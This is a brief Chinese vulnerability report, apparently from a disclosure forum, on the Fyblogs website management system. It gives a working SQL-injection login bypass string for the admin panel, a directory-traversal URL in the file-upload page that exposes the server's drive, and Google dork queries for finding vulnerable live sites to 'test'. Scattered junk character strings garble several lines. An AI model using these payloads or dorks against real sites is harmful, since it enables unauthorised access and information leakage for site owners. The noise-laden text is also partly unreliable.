Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过

# Z, d! W: C9 X6 O简要描述：

Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！

详细说明：

后台万能密码 'or'='or'
( y6 [0 z# T2 ?$ ]  K# S/ m后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
  n, I) g" t' l& gadmin/uploadfile.asp?currentFolder=/upfiles/../
- H: \  t: U& {
) K$ U6 k1 y- ?, y漏洞证明：
6 _, \* `+ m# j: f$ h
谷歌：inurl:type.asp?id=1 新闻中心
0 R. u4 d( n5 P* ~/ }8 z9 `7 f或者 ：inurl:download_ok.asp?
6 G" |0 Z- ~9 ~8 b3 c2 x, ~0 H( ?
5 {7 a- L2 v! a' |5 K) ^可以测试

​